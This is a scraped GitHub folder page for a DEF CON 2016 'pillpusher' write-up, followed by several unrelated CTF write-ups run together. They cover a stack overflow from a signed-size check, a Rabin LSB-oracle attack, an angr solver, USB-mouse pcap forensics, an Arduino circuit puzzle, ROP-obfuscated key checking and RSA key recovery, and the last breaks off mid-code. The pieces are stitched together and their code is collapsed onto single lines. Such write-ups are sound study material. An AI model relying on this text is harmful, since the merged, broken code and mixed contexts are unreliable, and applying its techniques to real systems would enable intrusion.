<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>pillpusher<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>pillpusher<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DaramG/ctf-writeup/tree-commit/4b69e2f6c0aa79f4be819afdbf1834166d26bc06/2016_defcon/pillpusher" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DaramG/ctf-writeup/file-list/master/2016_defcon/pillpusher"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pillpusher</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
#Pillpusher - Pwning Problem
##Overview
이문제는 약국을 컨셉으로 하고 있는것 같다.취약점은 매우 간단한데에 비해 stripped,statically linked 되있고 바이너리는 쓸대없이 크고 복잡하다.##Vulnability취약점은 Scrip Menu의 Add Scrip에서 발생하게 된다.Add Scrip에서 Add pill을 할 수 있는데 2개 이상이면 무조건 2개가 되게 되있지만 signed이기 때문에 -1을 넣게 되면 무한정 넣을 수 있다.```cv15 = (signed int)readNum(rbp0, 0);if ( v15 > 2 ) size = 2LL;else size = v15;```
그렇기 때문에 pill name을 stack에 마음것 넣을 수 있게 되어 BOF를 이용해 exploit할 수 있다.
|
#rabit
We are given the source for an implementation of the [Rabin Cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem). The message and ciphertext space are the quadratic residues modulo N, a product of two [Blum primes](https://en.wikipedia.org/wiki/Blum_integer). Encryption is defined as c = m^2 (mod N), and decryption involves taking square roots modulo N, a problem which is known to be hard unless you know N's factorization. The public key is N, and the private key is (p, q) where p • q = N.
The source code also functions as a least-significant-bit oracle: given any ciphertext encrypted using the specified public key, the server will send you the least significant bit of the corresponding plaintext message. Like [RSA](http://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack), the Rabin Cryptosystem is multiplicatively homomorphic, which allows us to recover the message completely using the oracle.
The key is that if we know that c = m^2 (mod N), then we also know that 4c = (2m)^2 (mod N). In general, given the ciphertext corresponding to m, we can find the ciphertext corresponding to 2^d • m.
If the LSB of 2m (mod N) is 1, we know that m > N/2, because N is odd, so 2m must have wrapped around the modulus. Conversely, if 2m (mod N) is even (LSB = 0), we know that m < N/2.
Furthermore, given that 2m (mod N) is even and 4m (mod N) is even, we know that m < N/4. If instead 4m (mod N) were odd, then N/4 < m < N/2. We can make similar statements if 2m (mod N) were odd.
Thus, by querying the LSB's of 2^d • m (mod N) for d = 1, 2, 3 ..., we can use binary search to pin down the range of m until we've found it exactly.
There are a couple of details omitted in the above explanation. First of all, to rate-limit requests, the server requires a proof-of-work from the client in the form of computing a SHA1 which ends in `ffffff`.
Second of all, it is not always the case that 2^d • m will be a quadratic residue if d is odd. Namely, if 2 is not a quadratic residue modulo N, then the square of 2^d • m will decrypt to -(2^d • m) instead of 2^d • m. Since this number will have the opposite parity, we have to flip the bit that we receive from the server. Luckily, in this case 2 was a QR modulo N, so this aside was not relevant.
We were given
```N = 81546073902331759271984999004451939555402085006705656828495536906802924215055062358675944026785619015267809774867163668490714884157533291262435378747443005227619394842923633601610550982321457446416213545088054898767148483676379966942027388615616321652290989027944696127478611206798587697949222663092494873481c = 16155172062598073107968676378352115117161436172814227581212799030353856989153650114500204987192715640325805773228721292633844470727274927681444727510153616642152298025005171599963912929571282929138074246451372957668797897908285264033088572552509959195673435645475880129067211859038705979011490574216118690919```
The code in `rabit_stew.py` runs the exploit described above and finds
```m = 220166400929873038171224043083387335590015857856801737690673866137676770212340840723519830846763519609829027969455172753108185495429082225311362629007220379727503139832528666787769813670043777657959040951708803510803718999186543066351821584477532976979527966653153472510938246069633772948114592599064638196```
Converting this to hex and interpreting as a string yields:
```>>> import binascii>>> binascii.unhexlify(hex(m)[2:-1])'PCTF{LSB_is_4ll_y0u_ne3d}\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf4'```
Stripping away the padding yields the flag: `PCTF{LSB_is_4ll_y0u_ne3d}`. |
#edwinchuimport angrSTART_ADDR = 0x00000000004028d9AVOID_ADDR = 0x0000000000402941FIND_ADDR = 0x000000000040293fBASE_ADDR = 0x7fffffffe5c0STACK_ADDR = 0x7fffffffe560INPUT_ADDR = 0x7fffffffe560INPUT_LENGTH = 13p = angr.Project('baby-re')state = p.factory.blank_state(addr=START_ADDR)state.regs.rbp = BASE_ADDRstate.regs.rsp = STACK_ADDRfor i in range(INPUT_LENGTH): s = state.se.BVS('Var[{}]'.format(i), 32, explicit_name=True) state.memory.store(INPUT_ADDR + i * 4, s) path = p.factory.path(state)ex = p.surveyors.Explorer(start=path, find=(FIND_ADDR,), avoid=(AVOID_ADDR,0x00000000004025e0))ex.run()print "The Flag: " + ex.found[0].state.posix.dumps(1) |
The Google Capture The Flag 2016 was run on the 2016.04.29 ~ 30 (48h).This is write up about the forensics “For2” which was 200 points.In For2, capture.pcapng was provided but there was any description.Anyway i was given a pcap file.After opening the file in Wireshark, it looked like a USB capture. The majority of the "URB Function" shows“TERRUPT_TRANSFERURB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER”And these packet have some data.When i check on the first instance of source 1.3.0It appears to be a Logitech Optical Mouse, as shown below.I tried to export raw data for mouse event from pcapng file.h2spices-MacBook-Pro:tmp h2spice$ tshark -r capture.pcapng -Y 'usb.data_len == 4' -T fields -e usb.capdata > mouse_eventh2spices-MacBook-Pro:tmp h2spice$ tail ./mouse_event00:fb:00:0000:fc:00:0000:fc:ff:0000:fe:00:0000:fe:ff:0000:fe:00:0000:ff:00:0000:fe:ff:0000:ff:ff:0001:00:00:00<span>Raw data can be converted to coordinates. <span>(here is useful code https://johnroach.info/2011/02/16/getting-raw-data-from-a-usb-mouse-in-linux-using-python/)</span>#!/usr/bin/python
filename = "mouse_event"
def to_signed(h): i = int(h, 16) return i - ((0x80 & i) << 1)
coordinate_x = 0coordinate_y = 0
for line in open(filename).readlines(): if len(line) > 1: status, raw_x, raw_y, junk = line.split(":") coordinate_x += to_signed(raw_x) coordinate_y += to_signed(raw_y)
if status != "00": print "%d %d" % (coordinate_x, coordinate_y)
output is as shown below.h2spices-MacBook-Pro:tmp h2spice$ python convert_raw2coordinates.py -273 -428-889 -242-890 -241-891 -241-892 -241-893 -241-894 -241-897 -241-898 -241-899 -241-901 -241-902 -241-904 -240-906 -240-907 -240-909 -239-910 -238-911 -238-912 -238-913 -237-914 -236-915 -235-916 -235-917 -235[...]</span><span>I drew graph using 'pyplot' because there were so many coordinates.#!/usr/bin/python
import sysimport matplotlib.pyplot as pltplt.xlim(-1000, 1000)plt.ylim(-1000, 1000)
filename = "mouse_event"
def to_signed(h): i = int(h, 16) return i - ((0x80 & i) << 1)
coordinate_x = 0coordinate_y = 0
for line in open(filename).readlines(): if len(line) > 1: status, raw_x, raw_y, junk = line.split(":") coordinate_x += to_signed(raw_x) coordinate_y += to_signed(raw_y)
if status != "00": print "%d %d" % (coordinate_x, coordinate_y) plt.plot(coordinate_x, coordinate_y, color="red", marker=".")
plt.show()Flag is CTF{tHE_cAT_iS_the_cULpRiT}</span> |
-------------------------------------------[Eletronics] Eletronic Ballot Box Prototype - 50 points-------------------------------------------
> A member of Project SKY has infiltrated into a Club recycling facility and got access to one of the first prototypes of what became, afterwards, an electronic ballot box (yes, all of this has been born because of the influence of the Club). We know that the prototype has the potential to unveil the true inner workings behind electronic voting, but we need your help. Add CTF-BR{} around the flag before submitting it.
In this task we were given an image of electronic circuit's hand sketch, and an Arduino code.It seemed that the code was reading a number from keyboard, setting 8 pins to various states depending on the number, waiting for the hardware to respond, reading other 8 pins (and sometimes adjusting them by one), thenfinally printing the values to serial port. Example for input=13:``` digitalWrite(2, HIGH); delay(10); digitalWrite(4, HIGH); delay(10); digitalWrite(6, HIGH); delay(10); digitalWrite(8, LOW); delay(10); digitalWrite(22, LOW); delay(10); digitalWrite(24, HIGH); delay(10); digitalWrite(26, LOW); delay(10); digitalWrite(28, HIGH);
a = digitalRead(3); Serial.print(a); Serial.print('-'); b = digitalRead(5); Serial.print(b); Serial.print('-'); c = digitalRead(7); Serial.print(c); Serial.print('-'); d = digitalRead(9); Serial.print(d); Serial.print('-'); e = digitalRead(23) - 1; Serial.print(e); Serial.print('-'); f = digitalRead(25); Serial.print(f); Serial.print('-'); g = digitalRead(27) + 1; Serial.print(g); Serial.print('-'); h = digitalRead(29) - 1; Serial.print(h); Serial.println(" "); delay(100);```Well, it seems all we needed to do was to reverse the hardware. Since it was only drawn on paper, we could do it by handonly. Here's my attempt:
It seemed that each output is a simple function of just one of the inputs. We wrote a simple Python script (`doit.py`) to parsethe Arduino code and simulate the circuitry for every keyboard input. Running it gives us the flag: `FRAUDEToTAL` |
Our forensics team has analyzed the cell phone of a bank fraud victim. A hacker managed to steal her money with fraudulent bank transfers. Then bank representatives think that the hacker hijacked SMS containing payment tokens, used to verify customer identify prior to sensitive operations. Apparently, the victim bought a second-hand and already rooted (Cyanongen OS) phone on eBay. During the acquisition stage, our team mad a bit-wise copy of the internal storage, but something went wrong during the process. After taking the victim cell phone, we made a backup of the internal storage but it hasn't been We need your help to recover the data and find how the intrusion occured. |
## quite quixotic quest (Reversing, 300 points, 40 solves)
Well yes, it certainly is quite quixotic. (Yes, the flag format is PCTF{} )
In this task, we had a modified `curl` binary. We were able to notice the main differencewith the original binary even without binary diffing - it was enough to run `qqq --help`to notice the unusual option - `--pctfkey KEY`. Trying to run it with dummy key gives us`wrong` message, so we tried to check in debugger how the key is checked.
We quickly noticed the following piece of code is executed if we give that argument:```0x08052aac mov dword [esp], str.Validating_key..._n0x08052ab3 call sym.curl_mprintf0x08052ab8 mov edx, dword [ebx + 0x128]0x08052abe mov eax, obj.magic_buf ; obj.magic_buf0x08052ac3 mov esp, eax0x08052ac5 mov eax, edx0x08052ac7 ret```After the `ret` instruction, we end up in two assembly instruction piece of code:```0x080ad0df mov esi, edx0x080ad0e1 ret```Returning again, we are again in some short routine. It looks very similar to a ROP chain.In fact, we can see some returns into the middle of `strlen` function with ourkey as input, indicating we are on good track.
Looking up the `magic_buff` symbol, we notice it has about a quarter of megabyte in size,which is a fair amount of code to step through. I wrote a script (`getrop.py`), which runs `gdb` to disassembly several instructions after each ROP address and save it in`ropchain` file. Unfortunately, it ended up being some 7MB of text, so we needed tofilter it somehow.
Running debugger and looking at generated ropchain at the same time, I was able tonotice many repetitions, looking almost like unrolled loops, so I just editted the filewriting number of repetitions and the basic block. There were also many skipped instructions,both by `pop` instructions, which skipped the next instruction, and by some `ret imm16`instructions, which skipped a large amount of bytes at once.
In the end, the commented disassembly (`adnotations_ropchain` file) had only about 1000lines, which was much more manageable. Still, I rewrote it to an even more readableform - pseudo-disassembly in `disasm_written`.
The basic thing the code did, was:- checking if key length equals 0x35- summing ASCII values of all the letters- calculating MD5 of that sum xored with some constants- checking whether that MD5's first dword equals some constant- xoring our input with that MD5 as key- comparing our xored input with some constants
From this point on, it was pretty simple. I modified `getrop.py` to also print those constantsand save them in `values`.We can brute force the sum of characters and their MD5 - it turns out only one combinationreturns correct first dword of MD5.Final password is obtained through xoring that MD5 with extracted values.```$ python brute_md5.py 1062013567 c0050bdd747721646f14ff008c6978b9And the flag is...PCTF{just_a_l1ttle_thing_1_l1ke_t0_call_ropfuscation}w!d``` |
## equation (Crypto, 2p)
Here is a RSA private key with its upper part masked. Can your recover the private key and decrypt the file?
###ENG[PL](#pl-version)
We have the picture:
from which we can extract the base64 of the private key part:
```Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNtV4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx```
Next we read a bit about ANS1 DER ( https://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER ) format and what are the values in the rsa private key file.It turns out that that the file contains:
```RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL}```
And the extraction is quite simple - we need to find byte `02` which denotes start of an integer and then the next byte specifies number of bytes that follow.We wrap this in a short script:
```pythondef get_dp_dq_qinv(key64): result = [] key_tab = list(b64decode(key64)) print(key_tab) i = 0 while i < len(key_tab): x = key_tab[i] if x == 0x2: # integer start length = key_tab[i + 1] octets = key_tab[i + 2: i + 2 + length] value = int.from_bytes(octets, byteorder="big") result.append(value) print(value) i += 2 + length else: i += 1 return tuple(result)
dp, dq, qinv = get_dp_dq_qinv(key64)```
And thus we get 3 integers, which are (accoring for private key der format): dp, dq and qinv.
dp = 11188888442779478492506783674852186314949555636014740182307607993518479864690065244102864238986781155531033697982611187514703037389481147794554444962262361
dq = 1006725509429627901220283238134032802363853505667837273574181077068133214344166038422298631614477333564791953596600001816371928482096290600710984197710579
qinv = 11196804284042107547423407831525890933636414684075355664222816007929037065463409676450144484947842399975707117057331864113464711778199061912128258484839473
We also know a bunch of lower bytes of the `q` prime factor, however we didn't need it after all.Instead we follow the algorithm proposed in https://eprint.iacr.org/2004/147.pdf and implement the recovery algorithm:
```pythondef recover_parameters(dp, dq, qinv, e): results = [] d1p = dp * e - 1 for k in range(3, e): if d1p % k == 0: hp = d1p // k p = hp + 1 if is_prime(p): d1q = dq * e - 1 for m in range(3, e): if d1q % m == 0: hq = d1q // m q = hq + 1 if is_prime(q): if (qinv * q) % p == 1 or (qinv * p) % q == 1: results.append((p, q, e)) print(p, q, e) return results```
Which returns a single solution:
p= 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
q = 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
e = 65537
And now it's just a matter of recovering the `d` exponent via standard EGCD algoritm and decrypting RSA:
```pythondef egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u
def get_d(p, n, e): q = n / p phi = (p - 1) * (q - 1) d = egcd(e, phi) if d < 0: d += phi return d
